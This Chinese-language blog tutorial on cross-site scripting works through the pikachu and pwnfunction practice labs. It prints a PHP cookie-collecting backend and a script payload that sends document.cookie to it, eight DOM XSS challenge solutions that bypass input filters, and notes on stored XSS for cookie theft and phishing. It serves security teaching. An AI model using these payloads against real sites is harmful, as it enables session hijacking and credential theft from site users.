web常见漏洞——XSS

news2024/11/13 9:27:49

xss

      • 1、xss概述
      • 2、环境工具
      • 3、反射型xss
        • 3.1、利用反射型xss获取cookie
      • 4、DOM型xss
        • 4.1、第一关
        • 4.2、第二关
        • 4.3、第三关
        • 4.4、第四关
        • 4.5、第五关
        • 4.6、第六关
        • 4.7、第七关
        • 4.8、第八关
      • 5、存储型xss

1、xss概述

在这里插入图片描述

XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等,xss又分为了三种类型分别为存储型反射型DOM型,其中存储型危害最大。

2、环境工具

phpstudy
在这里插入图片描述

pikachu靶场
在这里插入图片描述

pwnfunction的xss靶场
在这里插入图片描述

3、反射型xss

反射型xss攻击是具有一次性的,只在用户单击时触发,攻击者发现一个具有反射型xss漏洞的网站,通过恶意构造链接发送给用户诱导用户点击,用户进行请求就会通过服务端反射回来而使攻击者获取到用户的数据例如cookie,或者是钓鱼攻击,这里举一个简单的例子

这里有一个输入点,我们可以看到在输入框内输入的内容会直接显示到P标签里面
在这里插入图片描述
那么我们可以尝试一下使用一个js语句看能否显示

在这里插入图片描述

在这里插入图片描述
这样就能够成功显示,这就是一个简单的xss放射型漏洞

3.1、利用反射型xss获取cookie

知道了简单的反射型原理,那么如何利用这个漏洞获取用户cookie呢
首先我们构建一个xss后台,这里使用的是pikachu的xss后台
在这里插入图片描述
在这里插入图片描述

<?php
if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu/index.php");//重定向到一个可信的网站

通过这个获取cookie的后端代码可以看到基本的运行逻辑,通过得到恶意链接获取的cookie并且添加到后端数据库中,并且让用户重定向到其当前页面不让用户有所察觉

<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

上面就是我们构造的恶意链接用户进行点击

1、用户点击
在这里插入图片描述
2、重定向到主页面
在这里插入图片描述

3、后台获取cookie
在这里插入图片描述

4、DOM型xss

在这里插入图片描述

要知道dom型xss就需要知道什么是DOM,DOM是文档对象模型,是直接由HTML文档的对象表示,DOM树的根节点是“Document”对象,所以可以明白DOM型xss是不会和后端打交道的,它是基于DOM文档对象的一种漏洞并且都是基于JavaScript的,其主要特点就是不会和服务器端进行交互所以很难被查到。这里利用pwnfunction的靶场做演示

4.1、第一关
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

网页代码如上,其功能就是获取用户的输入,并写入h2标签内部
如图所示:
在这里插入图片描述
既然有了输入点并且没有做任何过滤,我们就可以考虑直接写入,这里

<script>alert(1)</script>

是不行的,因为官方innerHTML禁用了这个危险标签,所以我们可以考虑到用img标签中触发onerror来构建payload

<img src=1 onerror="alert(1337)>

在这里插入图片描述
在这里插入图片描述

这里可以看到成功显示并写入了

4.2、第二关
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

这里和第一关不同的是使用了innerText属性而非innerHTML他们最大的区别就是text不会解析标签而html会所以这里的入手点是eval函数,我们尝试进行逃离双引号

eval(`ma = "Ma name ";alert(1337);""`)

在这里插入图片描述
可以看到成功显示了

4.3、第三关
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

从这个代码可以看到作者对其中的尖括号和中括号进行了替换,并且以属性的形式写入到div标签内的input标签,所以我们考虑在标签内进行逃离双引号利用其他标签来触发,就像img标签里的onerror一样,这里可以考虑使用onclick使用户点击触发
但是他的题目要求是不能够让用户进行交互,所以考虑其他的标签
在这里插入图片描述
这里考虑使用对焦onfocus和自动对焦autofocus属性,用户进入页面自动对焦而启用函数

在这里插入图片描述

4.4、第四关
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

从代码可以看出是通过get传ricardo的值,并放到form表单里的action属性里面,并提交。我们知道form表单是支持JavaScript的伪代码的,所以这道题很简单直接写入伪代码执行就可以了

ricardo=javascript:alert(1337)

在这里插入图片描述

4.5、第五关
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

通过这个代码我们可以看到,它在获取到传参以后对参数进行了过滤过滤掉了括号反引号和转义字符这就代表我们用不了括号了执行不了alert(),为了绕过就可以使用%25281337%2529urlcode编码来进行绕过,但是会发现仍然不会执行,所以考虑加上location和伪代码
在这里插入图片描述
成功执行

4.6、第六关
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

第六关就是字符数字都被过滤了,那我我们考虑的方向就是通过编码来进行绕过
可以通过网站JsFuck里面对字符进行编码
在这里插入图片描述
并进行urlencode编码
在这里插入图片描述
然后带入url链接
在这里插入图片描述
成功执行

4.7、第七关
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

第七关不仅过滤了关键字符还过滤了alert并且限制了长度,题目只过滤了alert也可以使用其他的显示函数,但这不是关键的绕过方法,这里可以使用到javascript的构造函数执行,利用Function()()两个括号就能够直接执行,定义一个函数

Function(/ALERT(1337)/.source.toLowerCase())() //大写绕过,函数再化为小写

在这里插入图片描述
成功执行

4.8、第八关
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

这个代码存在一个过滤框架DOMPurify.sanitize,这个框架绕过是十分困难的事情,任何标签都会被过滤掉,所以我们只能从setTimeout入手,可以发现ok这个参数就不存在,我们需要构造一个标签并且id=ok带入setTimeout并执行,利用浏览器白名单的函数cid
在这里插入图片描述
成功执行

5、存储型xss

存储型xss又称持久型跨站点脚本,一旦攻击者将构建好的payload写入,那么用户每次进入该网页都会触发,所以可以看到它的危害性是非常高的,这种多出现在论坛评论,信息存储等地方如下一个简单案例
在这里插入图片描述
留言版留言点击submit提交就会出现在下面的页面上
在这里插入图片描述
也可以看到对这些关键字和符号都没有做出过滤,那么我可以写入一个简单的payload
在这里插入图片描述
成功执行了
并且和反射型不一样的是你无论是刷新页面还是由其他页面跳转到此页面都会触发这个payload,这就是它的危害之处,结合我上面的反射型xss盗取cookie的案例,如果将获取cookie的payload写入,那么每个进入此页面的用户的cookie都会进入我的后台,还可以进行钓鱼攻击将自己的钓鱼网站页面链接写入比如网站登录页面,用户碰到后不知道的情况下写入了自己的用户账号密码,那么也将会传到攻击者的后台,所以存储型xss危害是很大的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2056803.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

视频孪生技术在智慧水利(水务)场景中的典型应用展示

一、智慧水利建设规划 根据水利部编制《“十四五”智慧水利建设规划》&#xff0c;建设数字孪生流域、“2N”水利智能业务应用体系、安全可控水利网络安全防护体系、优化健全水利网信保障体系&#xff0c;建成七大江河数字孪生流域&#xff0c;推进水利工程智能化改造&#xf…

C程序设计——常量

前面讲了变量&#xff0c;我们现在讲C语言的常量。 整数、自然数常量 十进制 就好像生活中&#xff0c;如果写一个数字&#xff0c;大家都默认是十进制&#xff0c;在C语言里也一样&#xff0c;比如&#xff1a; int main(void) {int iInt ;iInt 10;printf("%d\r\n&q…

无人机电子调速器详解!!!

电子调速器是无人机动力系统中的关键组件&#xff0c;主要负责将电池提供的直流电转换为交流电&#xff0c;并精确控制电机的转速&#xff0c;从而实现对无人机飞行状态的精确控制。以下是对无人机电子调速器的详细解析&#xff1a; 一、基本功能与原理 功能&#xff1a; 直…

R语言:如何安装包“linkET”

自己在R语言中安装包“linkET”时报错不存在叫‘linket’这个名字的程辑包 尝试了install.packages("linkET")和BiocManager::install("linkET")两种安装办法都不行 >install.packages("linkET") WARNING: Rtools is required to build R pa…

挑选知识库管理软件?9大推荐让你不再纠结

这篇文章介绍了以下工具&#xff1a;PingCode、Worktile、幕布、腾讯文档、坚果云、Notion中国版、Evernote、SharePoint、Confluence。 在选择知识库管理软件时&#xff0c;面对众多选项是否感到头疼&#xff1f;对于部门内部的协作和知识管理&#xff0c;选择一款适合的工具至…

unity json 处理

1. c#对象 -> json public class Item {public int id;public int num;public Item(int id, int num){this.id id;this.num num;} } public class PlayerInfo {public string name;public int atk;public int def;public float moveSpeed;public double roundSpeed;publi…

域名注册查询方法

域名不仅是网站的地址标识&#xff0c;更是企业和个人在互联网上的身份证明。要确保自己的在线品牌安全&#xff0c;了解域名注册查询方法至关重要。本文将介绍几种常见的域名查询方式&#xff0c;帮助您轻松了解网络资产的归属。 1. WHOIS查询&#xff1a; WHOIS&#xff08;…

一站式数仓解决方案:ECharts+Luckysheet+DataX+Doris打造全能式数据中台

数据中台这个词出现的概率非常高&#xff0c;对于一个企业来讲&#xff0c;那么数据中台是什么呢&#xff1f;数据中台就是把数据从各个系统 用数据库对接、API对接、或者文件上传的形式把数据收集起来&#xff0c;整合加工&#xff0c;最后生成分析的结果&#xff0c;这个结果…

上周稼先社区的活动

参天是什么&#xff1f; 最近”参天”很火&#xff0c;不仅MySQL社区&#xff0c;听说Monty最近也跟他们搞了很多活动。其实说起华为的数据库&#xff0c;只有从事数据库行业的人才知道高斯&#xff0c;其他很多人不知道。但是即使从事数据库相关的人&#xff0c;对另外一个产…

C语言04--数组超详解

1.基本概念 逻辑&#xff1a;一次性定义多个相同类型的变量&#xff0c;并存储到一片连续的内存中语法&#xff1a; 数据类型 数组名字 [ 数据的量 ] ; 示例&#xff1a; int a[5]; int Num ; 语法释义&#xff1a; a 是数组名&#xff0c;即这片连续内存的名称[5] …

【Linux学习】Linux开发工具——vim

&#x1f525;个人主页&#xff1a; Forcible Bug Maker &#x1f525;专栏&#xff1a;Linux学习 目录 &#x1f308;前言&#x1f525;vim的基本概念&#x1f525;vim的基本操作&#x1f525;vim命令模式的命令集&#x1f525;简单vim配置⭐一键配置美观的vim安装方法卸载方…

秒懂Linux之文件

目录 前言 一. C文件接口 二. 文件系统调用接口 open接口​编辑 文件fd的分配规则 利用规则实现重定向 前言 在我们学习文件之前得先明白文件是什么&#xff1f; ——文件 内容 属性—— 文件是谁打开的呢&#xff1f; ——文件由进程调度打开&#xff0c;当然前提是文件…

keepalived保活nginx1,nginx2

1 下载两个小玩意 yum -y install keepalived yum install psmisc -y 2 配置nginx1&#xff0c;2自启脚本 vim /root/shell/check-nginx.sh 我的脚本放在root/shell里 #!/bin/bash #获取nginx正在运行的进程数 npsnumps -C nginx --no-header | wc -lif [ $n…

Unity AB包

AB包比对文件内容: ab包名 包大小 包内容md5字符串 编辑器功能-设置默认资源: 可以选择资源作为默认资源保存到StreamingAssets文件夹并且为他们生成资源对比文件1. 在Unity菜单中添加一个功能按钮触发该功能(MenuItem特性)2. 获取在Project窗口选择的资源信息(Selection类)3. …

【js引擎】如何使用 quickjs 把一个 js 值转换成 c 字符串

开发 js 运行时时&#xff0c;最重要的模块莫过于 console.log 了。有了它&#xff0c;才可以在 js 代码中打印日志。那么如何用 quickjs 引擎实现该模块呢&#xff1f; 实际上 quickjs 已经实现了一个 console 的模块 js_print 实现 其中使用了接口 str JS_ToCStringLen(c…

【Linux】Linux(centos7)安装jdk1.8

第一步&#xff1a;卸载系统自带的JDK rpm -qa|grep java # xxx yyy zzz为你要卸载的插件&#xff0c;插件之间以空格隔开 rpm -e --nodeps xxx yyy zzz 先卸载JDK 第二步&#xff1a;安装JDK1.8 安装JDK rpm -ivh jdk-8u172-linux-x64.rpm 第三步&#xff1a;查看是否安…

基于x86 平台opencv的图像采集和seetaface6的人脸检测功能

目录 一、概述二、环境要求2.1 硬件环境2.2 软件环境三、开发流程3.1 编写测试3.2 配置资源文件3.2 验证功能一、概述 本文档是针对x86 平台opencv的图像采集和seetaface6的人脸检测功能,opencv通过摄像头采集视频图像,将采集的视频图像送给seetaface6的人脸检测模块从而实现…

特斯拉FSD软件进化史

特斯拉FSD软件进化史 01前言 特斯拉FSD自动驾驶是以摄像头为核心的纯视觉解决方案。 纯视觉方案的最初设计灵感来自对人类视觉的研究&#xff1b;即人眼睛搜集的信息到达视网膜后&#xff0c;经过大脑皮层的多个区域、神经层&#xff0c;最终形成生物视觉&#xff0c;并在脑…

Wyn商业智能助力零售行业数字化决策高效驱动

最新技术资源&#xff08;建议收藏&#xff09; https://www.grapecity.com.cn/resources/ 项目背景及痛点 百利商业的业务覆盖赛格、 SKP、奥莱、王府井等多地区具有代表性的商场&#xff0c;并创立了多个自有品牌。随着新零售模式的兴起&#xff0c;百利商业紧跟时代步伐&am…

集团数字化转型方案(六)

集团数字化转型方案旨在通过引入前沿技术&#xff0c;如人工智能&#xff08;AI&#xff09;、大数据分析、云计算和物联网&#xff08;IoT&#xff09;&#xff0c;全面提升业务运营效率和市场竞争力。该方案首先实现业务流程的自动化&#xff0c;减少人工干预&#xff0c;通过…